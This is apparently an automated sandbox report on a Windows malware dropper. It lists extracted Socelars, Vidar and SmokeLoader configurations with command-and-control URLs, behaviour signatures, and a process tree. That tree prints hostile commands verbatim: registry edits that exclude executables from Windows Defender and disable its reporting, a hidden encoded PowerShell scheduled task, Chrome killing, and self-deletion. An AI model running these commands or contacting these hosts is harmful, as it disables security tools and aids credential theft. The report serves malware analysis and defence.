Analysis
- max time kernel
160s - max time network
170s - platform
windows10-2004_x64 - resource
win10v2004-en-20220112 - submitted
08/03/2022, 18:12
General
- Target 42c371e393e888b8ff2e0c2f24193ee9.exe
- Size 229KB
- Sample220308-ws6xvsdbaj
- SHA256 b0de3b3eb79e5291dcd933e0e8231c90208e2e11e894500fb7df6487ba259ba9
Malware Config
Extracted
-
socelars
-
https://sa-us-bucket.s3.us-east-2.amazonaws.com/asdhjk/
Extracted
-
vidar
-
50.5
-
937
-
https://c.im/@sam3al
-
https://mas.to/@s4msalo
-
profile_id
937
Extracted
-
smokeloader
-
2020
-
http://coralee.at/upload/
-
http://ducvietcao.com/upload/
-
http://biz-acc.ru/upload/
-
http://toimap.com/upload/
-
http://bbb7d.com/upload/
-
http://piratia-life.ru/upload/
-
http://curvreport.com/upload/
-
http://viagratos.com/upload/
-
http://mordo.ru/upload/
-
http://pkodev.net/upload/
Signatures
- Modifies Windows Defender Real-time Protection settings 3 TTPs
- OnlyLogger
A tiny loader that uses IPLogger to get its payload.
- SmokeLoader
Modular backdoor trojan in use since 2014.
- Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
- Socelars Payload 4 IoCs
- Vidar
Vidar is an infostealer based on Arkei stealer.
- suricata: ET MALWARE EXE Download Request To Wordpress Folder Likely Malicious
suricata: ET MALWARE EXE Download Request To Wordpress Folder Likely Malicious
- suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
- suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
- suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
- suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer HTTP POST Pattern
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer HTTP POST Pattern
- suricata: ET MALWARE Win32/Spy.Socelars.S CnC Activity M3
suricata: ET MALWARE Win32/Spy.Socelars.S CnC Activity M3
- suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
- Looks for VirtualBox Guest Additions in registry 2 TTPs
- OnlyLogger Payload 3 IoCs
- Vidar Stealer 2 IoCs
- Blocklisted process makes network request 2 IoCs
- Downloads MZ/PE file
- Executes dropped EXE 54 IoCs
- Looks for VMWare Tools registry key 2 TTPs
- UPX packed file 2 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 12 IoCs
Looks up country code configured in the registry, likely geofence.
- Loads dropped DLL 4 IoCs
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses 2FA software files, possible credential harvesting 2 TTPs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs
- Looks up external IP address via web service 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
- Drops file in System32 directory 2 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs
- Drops file in Program Files directory 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 6 IoCs
- Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 48 IoCs
Processor information is often read in order to detect sandboxing environments.
- Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Enumerates processes with tasklist 1 TTPs 2 IoCs
- Enumerates system info in registry 2 TTPs 4 IoCs
- Kills process with taskkill 3 IoCs
- Modifies system certificate store 2 TTPs 2 IoCs
- Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 8 IoCs
- Suspicious use of SendNotifyMessage 4 IoCs
- Suspicious use of SetWindowsHookEx 4 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\42c371e393e888b8ff2e0c2f24193ee9.exe"C:\Users\Admin\AppData\Local\Temp\42c371e393e888b8ff2e0c2f24193ee9.exe"1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Pictures\Adobe Films\p8QVXQKdFAF7Z4pkLQV3LbU7.exe"C:\Users\Admin\Pictures\Adobe Films\p8QVXQKdFAF7Z4pkLQV3LbU7.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\Pictures\Adobe Films\9j_wXMaNSottrO7JtYW1aAtP.exe"C:\Users\Admin\Pictures\Adobe Films\9j_wXMaNSottrO7JtYW1aAtP.exe"2⤵
- Executes dropped EXE
- Checks computer location settings
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Documents\dMKKX4fKZX2_x4WEKOrxzGZG.exe"C:\Users\Admin\Documents\dMKKX4fKZX2_x4WEKOrxzGZG.exe"3⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\Pictures\Adobe Films\8Dk2cGAGxzYagX5HsEr4_IL3.exe"C:\Users\Admin\Pictures\Adobe Films\8Dk2cGAGxzYagX5HsEr4_IL3.exe"4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Pictures\Adobe Films\aCtYcV4VDEOfv82XjVcqXOye.exe"C:\Users\Admin\Pictures\Adobe Films\aCtYcV4VDEOfv82XjVcqXOye.exe"4⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Windows\SysWOW64\control.exe"C:\Windows\System32\control.exe" .\a6U_WGm.9B5⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\a6U_WGm.9B6⤵
- Loads dropped DLL
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\Z0uFzmBxFOrSVAfZnDDzjB2y.exe"C:\Users\Admin\Pictures\Adobe Films\Z0uFzmBxFOrSVAfZnDDzjB2y.exe"4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Pictures\Adobe Films\ffC70C1mCgsjIf9jnUuOSgMt.exe"C:\Users\Admin\Pictures\Adobe Films\ffC70C1mCgsjIf9jnUuOSgMt.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS6A37.tmp\Install.exe.\Install.exe5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS81A7.tmp\Install.exe.\Install.exe /S /site_id "525403"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks computer location settings
- Drops file in System32 directory
- Enumerates system info in registry
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"7⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&8⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:329⤵
-
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:649⤵
-
-
-
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"7⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&8⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:329⤵
-
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:649⤵
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gOlMSUUkp" /SC once /ST 00:19:59 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="7⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gOlMSUUkp"7⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gOlMSUUkp"7⤵
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\emQfv5j5sHglqR6n71_mRXaz.exe"C:\Users\Admin\Pictures\Adobe Films\emQfv5j5sHglqR6n71_mRXaz.exe"4⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\fnw17a1dYyA_cdbCy40vgDbb.exe"C:\Users\Admin\Pictures\Adobe Films\fnw17a1dYyA_cdbCy40vgDbb.exe"4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
-
C:\Users\Admin\Pictures\Adobe Films\6ZxZzhUOKPIQfGM9V9kGCUi0.exe"C:\Users\Admin\Pictures\Adobe Films\6ZxZzhUOKPIQfGM9V9kGCUi0.exe"4⤵
- Executes dropped EXE
- Checks processor information in registry
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#615⤵
- Blocklisted process makes network request
-
-
-
C:\Users\Admin\Pictures\Adobe Films\IK8j4iKdiNSim32AabSudMWC.exe"C:\Users\Admin\Pictures\Adobe Films\IK8j4iKdiNSim32AabSudMWC.exe"4⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\TrdngAnlzr2249.exe"C:\Users\Admin\AppData\Local\Temp\TrdngAnlzr2249.exe"5⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\EI85I.exe"C:\Users\Admin\AppData\Local\Temp\EI85I.exe"6⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\AppData\Local\Temp\J38I7.exe"C:\Users\Admin\AppData\Local\Temp\J38I7.exe"6⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\AppData\Local\Temp\E67I8.exe"C:\Users\Admin\AppData\Local\Temp\E67I8.exe"6⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\AppData\Local\Temp\JF713.exe"C:\Users\Admin\AppData\Local\Temp\JF713.exe"6⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\AppData\Local\Temp\J1L4D.exe"C:\Users\Admin\AppData\Local\Temp\J1L4D.exe"6⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\J1L4D7H7BH06JG0.exehttps://iplogger.org/1OAvJ6⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\dengbing.exe"C:\Users\Admin\AppData\Local\Temp\dengbing.exe"5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\SharkSoftSetup36667.exe"C:\Users\Admin\AppData\Local\Temp\SharkSoftSetup36667.exe"5⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\3ea14c16-a9d9-4d2e-acbe-4576a31ed49d.exe"C:\Users\Admin\AppData\Local\Temp\3ea14c16-a9d9-4d2e-acbe-4576a31ed49d.exe"6⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\po50.exe"C:\Users\Admin\AppData\Local\Temp\po50.exe"5⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\AppData\Local\Temp\zhangj.exe"C:\Users\Admin\AppData\Local\Temp\zhangj.exe"5⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\zhangj.exe"C:\Users\Admin\AppData\Local\Temp\zhangj.exe" -h6⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\AppData\Local\Temp\tvstream17.exe"C:\Users\Admin\AppData\Local\Temp\tvstream17.exe"5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\bcleaner.exe"C:\Users\Admin\AppData\Local\Temp\bcleaner.exe"5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\jg7_7wjg.exe"C:\Users\Admin\AppData\Local\Temp\jg7_7wjg.exe"5⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\siww1049.exe"C:\Users\Admin\AppData\Local\Temp\siww1049.exe"5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\inst200.exe"C:\Users\Admin\AppData\Local\Temp\inst200.exe"5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\udontsay.exe"C:\Users\Admin\AppData\Local\Temp\udontsay.exe"5⤵
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST3⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST3⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\Pictures\Adobe Films\xWLRw6KAtqAoF3uYufezyU9I.exe"C:\Users\Admin\Pictures\Adobe Films\xWLRw6KAtqAoF3uYufezyU9I.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4076 -s 13683⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4076 -s 14003⤵
- Program crash
-
-
-
C:\Users\Admin\Pictures\Adobe Films\5KrMMzV4lYg34LPlN2TKrre2.exe"C:\Users\Admin\Pictures\Adobe Films\5KrMMzV4lYg34LPlN2TKrre2.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Maps connected drives based on registry
-
-
C:\Users\Admin\Pictures\Adobe Films\aSRMIbDkVo8osmoJWbe0dJbt.exe"C:\Users\Admin\Pictures\Adobe Films\aSRMIbDkVo8osmoJWbe0dJbt.exe"2⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im aSRMIbDkVo8osmoJWbe0dJbt.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\aSRMIbDkVo8osmoJWbe0dJbt.exe" & del C:\ProgramData\*.dll & exit3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im aSRMIbDkVo8osmoJWbe0dJbt.exe /f4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 64⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\zIjziXqTZtL6TVi_WXzxttya.exe"C:\Users\Admin\Pictures\Adobe Films\zIjziXqTZtL6TVi_WXzxttya.exe"2⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\d87a6c1e-4c53-41df-8762-ff0834c975b2.exe"C:\Users\Admin\AppData\Local\Temp\d87a6c1e-4c53-41df-8762-ff0834c975b2.exe"3⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Pictures\Adobe Films\FSiutCi_C9g5l_U_qzWouquE.exe"C:\Users\Admin\Pictures\Adobe Films\FSiutCi_C9g5l_U_qzWouquE.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Pictures\Adobe Films\cdRFSbaD5wfOwUq5OD8Y_bgN.exe"C:\Users\Admin\Pictures\Adobe Films\cdRFSbaD5wfOwUq5OD8Y_bgN.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Pictures\Adobe Films\aTtFt7lCS6ZI8vNMzQ_AnQdm.exe"C:\Users\Admin\Pictures\Adobe Films\aTtFt7lCS6ZI8vNMzQ_AnQdm.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Pictures\Adobe Films\FFXAiRNs4EldPaihY1sTKXkb.exe"C:\Users\Admin\Pictures\Adobe Films\FFXAiRNs4EldPaihY1sTKXkb.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Pictures\Adobe Films\R9vbL0ypLAopLUN_Ov5e85_v.exe"C:\Users\Admin\Pictures\Adobe Films\R9vbL0ypLAopLUN_Ov5e85_v.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3236 -s 4323⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3236 -s 4403⤵
- Program crash
-
-
-
C:\Users\Admin\Pictures\Adobe Films\tnskCXTQ3t_OPZ1RlasU8Rsb.exe"C:\Users\Admin\Pictures\Adobe Films\tnskCXTQ3t_OPZ1RlasU8Rsb.exe"2⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\_Oo_LwtjZ89hfSyHPy6yIhwe.exe"C:\Users\Admin\Pictures\Adobe Films\_Oo_LwtjZ89hfSyHPy6yIhwe.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Pictures\Adobe Films\nbSiITdIUKyZbJtbvZkILKqa.exe"C:\Users\Admin\Pictures\Adobe Films\nbSiITdIUKyZbJtbvZkILKqa.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2948 -s 4523⤵
- Program crash
-
-
-
C:\Users\Admin\Pictures\Adobe Films\o4jcM6LrerPSL5EwekSwbTN2.exe"C:\Users\Admin\Pictures\Adobe Films\o4jcM6LrerPSL5EwekSwbTN2.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2720 -s 4523⤵
- Program crash
-
-
-
C:\Users\Admin\Pictures\Adobe Films\DDVvwjLb77LpKqM9KFJTxOqm.exe"C:\Users\Admin\Pictures\Adobe Films\DDVvwjLb77LpKqM9KFJTxOqm.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Pictures\Adobe Films\zwCiq6ExDDwgz0LzeWEbVyZn.exe"C:\Users\Admin\Pictures\Adobe Films\zwCiq6ExDDwgz0LzeWEbVyZn.exe"2⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd < Affaticato.gif3⤵
-
C:\Windows\SysWOW64\cmd.execmd4⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist /FI "imagename eq BullGuardCore.exe"5⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SysWOW64\find.exefind /I /N "bullguardcore.exe"5⤵
-
-
C:\Windows\SysWOW64\tasklist.exetasklist /FI "imagename eq PSUAService.exe"5⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SysWOW64\find.exefind /I /N "psuaservice.exe"5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^uEDzPzHFCdzewXWMRhXuwzGNjMXXrsYuMnTuDfFnaaWMxrxJAnNdPOrNYPircJBlshdCrQoBHnNIvTzoshbFDH$" Koubbeh.gif5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Accostarmi.exe.pifAccostarmi.exe.pif N5⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\DILH6y1J6d67_qFohQhl5yIk.exe"C:\Users\Admin\Pictures\Adobe Films\DILH6y1J6d67_qFohQhl5yIk.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Pictures\Adobe Films\j983aU7mLXKldwRB_TAPSL62.exe"C:\Users\Admin\Pictures\Adobe Films\j983aU7mLXKldwRB_TAPSL62.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS281D.tmp\Install.exe.\Install.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS36D3.tmp\Install.exe.\Install.exe /S /site_id "525403"4⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks computer location settings
- Drops file in System32 directory
- Enumerates system info in registry
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"5⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&6⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:327⤵
-
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:647⤵
-
-
-
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"5⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&6⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:327⤵
-
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:647⤵
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gMafhUCYD" /SC once /ST 12:55:26 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="5⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gMafhUCYD"5⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gMafhUCYD"5⤵
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\J7TLo1ZDOHiBpIRDeZAWJWfZ.exe"C:\Users\Admin\Pictures\Adobe Films\J7TLo1ZDOHiBpIRDeZAWJWfZ.exe"2⤵
- Executes dropped EXE
- Checks processor information in registry
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#613⤵
- Blocklisted process makes network request
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k wusvcs -p1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 2656 -ip 26561⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 2720 -ip 27201⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 3236 -ip 32361⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 756 -ip 7561⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 2724 -ip 27241⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 4076 -ip 40761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 2948 -ip 29481⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 3392 -ip 33921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 1412 -ip 14121⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3236 -ip 32361⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 756 -ip 7561⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 2720 -ip 27201⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 680 -p 4076 -ip 40761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 720 -p 2656 -ip 26561⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 748 -p 2948 -ip 29481⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 776 -p 2724 -ip 27241⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 804 -p 3392 -ip 33921⤵
-
